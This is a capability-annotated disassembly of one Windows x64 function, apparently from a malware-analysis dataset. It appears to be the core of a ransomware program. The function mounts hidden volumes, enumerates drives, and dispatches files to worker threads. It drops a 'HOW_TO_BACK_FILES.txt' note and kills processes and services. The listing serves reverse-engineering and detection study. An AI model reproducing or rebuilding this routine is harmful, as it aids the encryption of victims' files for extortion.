Function at 0x1400082f0
Capabilities:
Create thread
Enumerate disk volumes
Get disk information
Get disk size
Get file attributes
Get system information on windows
Terminate process

Disassembly:
push rbp
push rdi
push r13
push r15
lea rbp, [rsp - 0xea8]
sub rsp, 0xfa8
mov rax, qword [0x140073040]
xor rax, rsp
mov qword [rbp + 0xe80], rax
mov r15, rdx
mov qword [rbp - 0x18], rdx
xor edx, edx
mov byte [rsp + 0x38], r8b
mov r13, r9
mov qword [rsp + 0x70], rcx
mov rdi, rcx
mov r9d, 0xa
xor r8d, r8d
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov qword [0x140076288], rax
test rax, rax
je 0x140009143
mov qword [rsp + 0xfe0], rbx
lea rcx, [rbp + 0x60]
mov qword [rsp + 0xfa0], rsi
mov qword [rsp + 0xf98], r12
mov qword [rsp + 0xf90], r14
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rbp + 0x80]
xor r12d, r12d
mov qword [rbp - 0x20], r12
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x30], xmm0
cmp eax, 1
ja 0x1400083a9
mov r14d, 2
mov dword [rsp + 0x34], r14d
mov dword [rsp + 0x30], r14d
jmp 0x1400083d3
cmp eax, 0xa
jbe 0x1400083c0
mov r14d, 0xa
mov dword [rsp + 0x34], r14d
mov dword [rsp + 0x30], r14d
jmp 0x1400083d3
lea r14d, [rax - 1]
mov dword [rsp + 0x34], r14d
mov dword [rsp + 0x30], r14d
test r14d, r14d
je 0x14000842b
mov ebx, r14d
nop word [rax + rax]
mov qword [rsp + 0x28], r12
lea r8, [0x140007770]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, qword [rbp - 0x28]
mov qword [rsp + 0x60], rax
cmp rdx, qword [rbp - 0x20]
je 0x140008417
mov qword [rdx], rax
add qword [rbp - 0x28], 8
jmp 0x140008425
lea r8, [rsp + 0x60]
lea rcx, [rbp - 0x30]
call fcn.140011ba0
sub rbx, 1
jne 0x1400083e0
lea rax, [0x140007400]
mov qword [rsp + 0x28], r12
lea r9, [rbp - 0x48]
mov qword [rbp - 0x40], rax
lea r8, [fcn.1400080e0]
mov qword [rbp - 0x48], rdi
xor edx, edx
mov dword [rsp + 0x20], r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor edx, edx
mov word [rbp + 0x260], r12w
mov r8d, 0x206
mov qword [rsp + 0x78], rax
lea rcx, [rbp + 0x262]
call fcn.140050d90
mov edx, 0x104
lea rcx, [rbp + 0x260]
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400085bb
xor edx, edx
lea rcx, [rbp + 0x470]
mov r8d, 0x208
call fcn.140050d90
lea r9, [rbp - 0x38]
mov dword [rbp - 0x38], r12d
mov r8d, 0x104
lea rdx, [rbp + 0x470]
lea rcx, [rbp + 0x260]
call qword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
cmp dword [rbp - 0x38], 1
mov ebx, 0x43
jne 0x14000851a
nop word [rax + rax]
lea rdx, [rbp + 0x260]
mov word [rbp + 0x230], bx
lea rcx, [rbp + 0x230]
mov dword [rbp + 0x232], 0x5c003a
mov word [rbp + 0x236], r12w
call qword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
test eax, eax
jne 0x14000851a
inc bx
cmp bx, 0x5a
jbe 0x1400084e0
mov r15d, 0x43
mov r8d, 0x104
lea rdx, [rbp + 0x260]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextVolumeW]
lea r9, [rbp - 0x38]
mov r8d, 0x104
lea rdx, [rbp + 0x470]
mov edi, eax
lea rcx, [rbp + 0x260]
call qword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x1400085aa
cmp dword [rbp - 0x38], 1
jne 0x1400085aa
movzx ebx, r15w
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rbp + 0x260]
mov word [rbp + 0x238], bx
lea rcx, [rbp + 0x238]
mov dword [rbp + 0x23a], 0x5c003a
mov word [rbp + 0x23e], r12w
call qword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
test eax, eax
jne 0x1400085aa
inc bx
cmp bx, 0x5a
jbe 0x140008570
test edi, edi
jne 0x140008520
mov r15, qword [rbp - 0x18]
mov r14d, dword [rsp + 0x34]
mov ebx, 0x41
movabs rsi, 0x492492492492492
nop word [rax + rax]
movzx edi, bx
lea r8, [0x140068098]
mov r9d, edi
lea rcx, [rbp + 0x240]
mov edx, 0xa
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
lea rcx, [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add eax, 0xfffffffe
cmp eax, 2
ja 0x140008715
mov r9d, edi
mov qword [rbp - 0x58], r12
lea r8, [0x1400680a8]
mov qword [rbp - 0x18], r12
mov edx, 0xa
mov qword [rbp - 0x10], r12
lea rcx, [rbp + 0x240]
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
lea r9, [rbp - 0x10]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov rdi, qword [0x140076350]
mov rax, qword [rbp - 0x18]
mov rcx, rdi
sub rax, qword [rbp - 0x10]
mov qword [rbp - 0x68], rax
mov rax, qword [rdi + 8]
mov qword [rbp - 0x60], r12
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x50], r12d
cmp byte [rax + 0x19], 0
jne 0x1400086aa
nop word [rax + rax]
mov qword [rsp + 0x48], rax
cmp word [rax + 0x20], bx
jae 0x140008696
mov rax, qword [rax + 0x10]
mov dword [rsp + 0x50], r12d
jmp 0x1400086a4
mov rcx, rax
mov dword [rsp + 0x50], 1
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x140008680
cmp byte [rcx + 0x19], 0
jne 0x1400086b6
cmp bx, word [rcx + 0x20]
jae 0x140008715
cmp qword [0x140076358], rsi
je 0x140009166
mov ecx, 0x38
call fcn.14002c5ac
movups xmm0, xmmword [rbp - 0x68]
mov r8, rax
lea rdx, [rbp - 0x80]
lea rcx, [0x140076350]
movups xmmword [rax + 0x28], xmm0
mov word [rax + 0x20], bx
movups xmm0, xmmword [rsp + 0x48]
mov qword [rax], rdi
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rdi
movaps xmmword [rbp - 0x80], xmm0
mov word [rax + 0x18], 0
call fcn.140011fc0
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x34], r14d
jmp 0x140008719
mov eax, dword [rsp + 0x30]
inc bx
cmp bx, 0x5a
jbe 0x1400085d0
mov rbx, qword [r13]
mov r14, qword [r13 + 8]
cmp rbx, r14
je 0x1400088ff
mov r15d, dword [rsp + 0x34]
nop dword [rax]
cmp qword [rbx + 0x18], 7
mov rcx, rbx
jbe 0x14000874d
mov rcx, qword [rbx]
mov edx, 0x31
xor r9d, r9d
mov edi, eax
mov esi, r15d
lea r8d, [rdx - 0x30]
call fcn.140007ae0
mov eax, dword [rsp + 0x30]
add rbx, 0x20
cmp rbx, r14
jne 0x140008740
mov r15, qword [r13 + 8]
mov rbx, qword [r13]
mov dword [rsp + 0x34], esi
mov dword [rsp + 0x30], edi
cmp rbx, r15
je 0x140008c43
mov dword [rsp + 0x34], esi
lea r13, str.HOW_TO_BACK_FILES.txt
mov dword [rsp + 0x30], edi
mov r12, 0xffffffffffffffff
nop
cmp qword [rbx + 0x18], 7
mov rcx, rbx
jbe 0x1400087ad
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
and eax, 0x10
mov rax, qword [rbx + 0x18]
je 0x1400087dd
mov rcx, rbx
cmp rax, 7
jbe 0x1400087c8
mov rcx, qword [rbx]
mov edx, 0x31
xor r9d, r9d
xor r8d, r8d
call fcn.140007ae0
jmp 0x1400088ea
mov rsi, rbx
cmp rax, 7
jbe 0x1400087e9
mov rsi, qword [rbx]
mov r8d, 4
lea rdx, str.._
mov rcx, rsi
call qword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
lea rcx, [rsi + 8]
cmovne rcx, rsi
movzx r14d, word [rcx]
mov ecx, 0x30
call fcn.14003405c
mov rdi, rax
test rax, rax
je 0x1400088ea
xorps xmm0, xmm0
mov rcx, rsi
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov word [rax + 0x28], r14w
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
movsxd rcx, eax
mov eax, 2
mul rcx
cmovo rax, r12
mov rcx, rax
call fcn.14003405c
mov qword [rdi + 0x20], rax
test rax, rax
je 0x14000886d
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, qword [0x140076288]
mov r9, rdi
xor r8d, r8d
mov dword [rdi + 0x2c], 1
xor edx, edx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
test eax, eax
je 0x1400088d4
lock inc dword [0x140076280]
lock inc dword [0x1400762fc]
mov ecx, 0x2000
call fcn.14003405c
mov rdi, rax
test rax, rax
je 0x1400088ea
mov r9, rsi
mov qword [rsp + 0x20], r13
lea r8, str._s__s
mov edx, 0x1000
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rcx, rdi
call fcn.1400075f0
jmp 0x1400088e2
mov rcx, qword [rdi + 0x20]
test rcx, rcx
je 0x1400088e2
call fcn.140034048
mov rcx, rdi
call fcn.140034048
add rbx, 0x20
cmp rbx, r15
jne 0x1400087a0
xor r12d, r12d
jmp 0x140008c43
test r15, r15
je 0x140008a4a
mov r8, r15
lea rcx, [rbp + 0x680]
mov edx, 0x400
call fcn.14003a888
test rax, rax
je 0x140008a42
movabs rdi, 0x100002600
nop
lea rax, [rbp + 0x680]
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140008940
test ebx, ebx
jle 0x1400089dc
mov edx, r12d
movsxd r9, ebx
mov r8, r12
mov rcx, r12
nop
movzx eax, word [rbp + rcx*2 + 0x680]
cmp eax, 0x20
ja 0x140008980
bt rdi, rax
jae 0x140008980
inc edx
inc r8
inc rcx
cmp rcx, r9
jl 0x140008960
sub ebx, edx
lea rdx, [rbp + 0x680]
lea rdx, [rdx + r8*2]
lea eax, [rbx - 1]
movsxd rcx, eax
test eax, eax
js 0x1400089ae
movzx eax, word [rdx + rcx*2]
cmp eax, 0x20
ja 0x1400089ae
bt rdi, rax
jae 0x1400089ae
dec ebx
sub rcx, 1
jns 0x140008997
lea rax, [rbp + 0x680]
cmp rdx, rax
jbe 0x1400089d0
test ebx, ebx
jle 0x1400089d0
movsxd r8, ebx
lea rcx, [rbp + 0x680]
add r8, r8
call fcn.140051150
movsxd rax, ebx
mov word [rbp + rax*2 + 0x680], r12w
mov r8d, 4
lea rdx, str.._
lea rcx, [rbp + 0x680]
call qword [sym.imp.SHLWAPI.dll_StrCmpNW]
mov edx, 0x31
lea rcx, [rbp + 0x680]
xor r9d, r9d
lea r8d, [rdx - 0x30]
call fcn.140007ae0
mov edx, 0x31
lea rcx, [rbp + 0x680]
xor r9d, r9d
xor r8d, r8d
call fcn.140007ae0
mov r8, r15
lea rcx, [rbp + 0x680]
mov edx, 0x400
call fcn.14003a888
test rax, rax
jne 0x140008930
mov rcx, r15
call fcn.140039a2c
cmp byte [rsp + 0x38], 0
jne 0x140008c43
mov r14d, r12d
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov r13d, 0x41
mov esi, eax
movzx edi, r13w
nop word [rax + rax]
test sil, 1
je 0x140008b04
mov ecx, 0x18
call fcn.14003405c
mov rbx, rax
test rax, rax
je 0x140008b04
movzx r15d, di
lea r8, [0x140068098]
mov r9d, r15d
mov dword [rax + 0x14], 1
mov edx, 0xa
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add eax, 0xfffffffe
cmp eax, 2
ja 0x140008b04
mov r9d, r15d
lea r8, str.._c:
mov edx, 0xa
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov r9, rbx
mov qword [rsp + 0x28], r12
lea r8, [0x140007f30]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, r14d
inc r14d
mov qword [rbp + rcx*8 + 0x90], rax
inc di
shr esi, 1
cmp di, 0x5a
jbe 0x140008a70
mov r9d, 0xffffffff
lea rdx, [rbp + 0x90]
mov r8d, 1
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test r14d, r14d
je 0x140008b53
lea rbx, [rbp + 0x90]
mov edi, r14d
nop
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbx, [rbx + 8]
sub rdi, 1
jne 0x140008b40
mov esi, r12d
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
nop
test dil, 1
je 0x140008bef
mov ecx, 0x18
call fcn.14003405c
mov rbx, rax
test rax, rax
je 0x140008bef
movzx r14d, r13w
lea r8, [0x140068098]
mov r9d, r14d
mov dword [rax + 0x14], r12d
mov edx, 0xa
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add eax, 0xfffffffe
cmp eax, 2
ja 0x140008bef
mov r9d, r14d
lea r8, str.._c:
mov edx, 0xa
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov r9, rbx
mov qword [rsp + 0x28], r12
lea r8, [0x140007f30]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, esi
inc esi
mov qword [rbp + rcx*8 + 0x160], rax
inc r13w
shr edi, 1
cmp r13w, 0x5a
jbe 0x140008b60
mov r9d, 0xffffffff
lea rdx, [rbp + 0x160]
mov r8d, 1
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test esi, esi
je 0x140008c43
lea rbx, [rbp + 0x160]
mov edi, esi
nop dword [rax + rax]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbx, [rbx + 8]
sub rdi, 1
jne 0x140008c30
mov rdi, qword [0x140077150]
xorps xmm0, xmm0
sub rdi, qword [0x140077148]
sar rdi, 5
mov qword [rbp + 8], r12
mov qword [rsp + 0x58], r12
movdqu xmmword [rbp - 8], xmm0
movdqu xmmword [rsp + 0x48], xmm0
test rdi, rdi
je 0x140008d1c
movabs rax, 0x7ffffffffffffff
cmp rdi, rax
ja 0x14000916c
shl rdi, 5
cmp rdi, 0x1000
jb 0x140008cbe
lea rcx, [rdi + 0x27]
cmp rcx, rdi
jbe 0x140009172
call fcn.14002c5ac
test rax, rax
je 0x140009178
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140008cd3
test rdi, rdi
je 0x140008cd0
mov rcx, rdi
call fcn.14002c5ac
mov rbx, rax
jmp 0x140008cd3
mov rbx, r12
mov rsi, qword [0x140077150]
lea rax, [rbx + rdi]
mov rdi, qword [0x140077148]
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x58], rax
cmp rdi, rsi
je 0x140008d0c
mov rdx, rdi
mov rcx, rbx
call fcn.1400122a0
add rbx, 0x20
add rdi, 0x20
cmp rdi, rsi
jne 0x140008cf4
mov rdx, rbx
mov rcx, rbx
call fcn.140010400
mov qword [rsp + 0x50], rbx
lea rdx, [rbp - 8]
lea rcx, [rsp + 0x48]
call fcn.140012f50
xorps xmm0, xmm0
lea rcx, [rbp + 0x10]
xor eax, eax
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x50], rax
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
call fcn.1400123e0
mov rcx, qword [rbp]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x40], rax
cmp rax, rcx
je 0x140008e2d
nop word [rax + rax]
mov r15, qword [rbp + 0x48]
mov r14, qword [rbp + 0x40]
mov r13d, dword [rax]
cmp r14, r15
je 0x140008e1b
cmp dword [r14], r13d
jne 0x140008e04
cmp byte [rbp + 0x38], 0
jne 0x140008dcc
mov rdi, qword [rbp + 0x18]
mov rsi, qword [rbp + 0x20]
cmp rdi, rsi
je 0x140008dcc
nop dword [rax]
lea rdx, [r14 + 8]
mov rcx, rdi
call fcn.1400139f0
cmp rax, 0xffffffffffffffff
jne 0x140008dbb
add rdi, 0x60
cmp rdi, rsi
jne 0x140008da0
cmp rdi, rsi
je 0x140008dcc
mov rdx, rdi
lea rcx, [rbp + 0x10]
call fcn.140014c10
mov r8d, dword [r14]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140008e04
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, 0x3a98
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add r14, 0x28
cmp r14, r15
jne 0x140008d84
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x68]
add rax, 4
mov qword [rsp + 0x40], rax
cmp rax, rcx
jne 0x140008d70
lea rcx, [rbp + 0x40]
call fcn.14000cc60
mov rcx, qword [rbp + 0x30]
lea rax, vtable.serviceslist.0
mov qword [rbp + 0x10], rax
test rcx, rcx
je 0x140008e50
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rcx, [rbp + 0x18]
call fcn.1400151d0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140076300]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140077148]
mov r14, qword [0x140077150]
cmp rbx, r14
je 0x140008f6d
nop dword [rax + rax]
cmp qword [rbx + 0x18], 7
mov rsi, rbx
jbe 0x140008e9d
mov rsi, qword [rbx]
mov ecx, 0x30
call fcn.14003405c
mov rdi, rax
test rax, rax
je 0x140008f7a
xorps xmm0, xmm0
lea rdx, str.._
movups xmmword [rax], xmm0
mov r8d, 4
mov rcx, rsi
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
call qword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
lea rcx, [rsi + 8]
cmovne rcx, rsi
movzx eax, word [rcx]
mov rcx, rsi
mov word [rdi + 0x28], ax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
movsxd rcx, eax
mov eax, 2
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.14003405c
mov qword [rdi + 0x20], rax
test rax, rax
je 0x140008f4f
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, qword [0x140076288]
mov r9, rdi
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
test eax, eax
je 0x140008f4f
lock inc dword [0x140076280]
lock inc dword [0x1400762fc]
jmp 0x140008f60
mov rcx, qword [rdi + 0x20]
call fcn.140034048
mov rcx, rdi
call fcn.140034048
add rbx, 0x20
cmp rbx, r14
jne 0x140008e90
lea rcx, [0x140076300]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, qword [0x140077148]
mov rdx, qword [0x140077150]
cmp rcx, rdx
je 0x140008fa0
call fcn.140010400
mov rax, qword [0x140077148]
mov qword [0x140077150], rax
mov ecx, dword [0x140076284]
mov eax, dword [0x1400762fc]
cmp eax, ecx
jle 0x140008fcb
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x140076284]
mov eax, dword [0x1400762fc]
cmp eax, ecx
jg 0x140008fb0
lea rax, [0x140007f70]
mov qword [rbp - 0x50], rax
lea rcx, [rbp - 0x58]
mov rax, qword [rsp + 0x70]
mov qword [rbp - 0x58], rax
call fcn.1400080e0
mov rbx, qword [rsp + 0x78]
test rbx, rbx
je 0x140009009
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [rsp + 0x34]
test edi, edi
je 0x14000907a
mov ebx, edi
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [0x140076288]
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
sub rbx, 1
jne 0x140009020
mov rdx, qword [rbp - 0x30]
lea r8d, [rbx + 1]
mov ecx, dword [rsp + 0x30]
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov rbx, r12
nop word [rax + rax]
mov rcx, qword [rbp - 0x30]
mov rcx, qword [rcx + rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbx, [rbx + 8]
sub rdi, 1
jne 0x140009060
jmp 0x140009092
mov rdx, qword [rbp - 0x30]
mov r9d, 0xffffffff
mov r8d, 1
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov rcx, qword [0x140076288]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 8]
test rcx, rcx
je 0x1400090e9
mov rdx, qword [rbp + 8]
mov rax, rcx
sub rdx, rcx
and rdx, 0xfffffffffffffffc
cmp rdx, 0x1000
jb 0x1400090d8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009160
call fcn.14002c5f0
xorps xmm0, xmm0
mov qword [rbp + 8], r12
movdqu xmmword [rbp - 8], xmm0
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x140009123
mov rdx, qword [rbp - 0x20]
mov rax, rcx
sub rdx, rcx
and rdx, 0xfffffffffffffff8
cmp rdx, 0x1000
jb 0x14000911e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009160
call fcn.14002c5f0
mov r14, qword [rsp + 0xf90]
mov rsi, qword [rsp + 0xfa0]
mov rbx, qword [rsp + 0xfe0]
mov r12, qword [rsp + 0xf98]
mov rcx, qword [rbp + 0xe80]
xor rcx, rsp
call fcn.14002c2f0
add rsp, 0xfa8
pop r15
pop r13
pop rdi
pop rbp
ret
call fcn.1400395bc
int3
call fcn.1400062e0
int3
call fcn.140011960
int3
call fcn.140005550
int3
call fcn.1400395bc
int3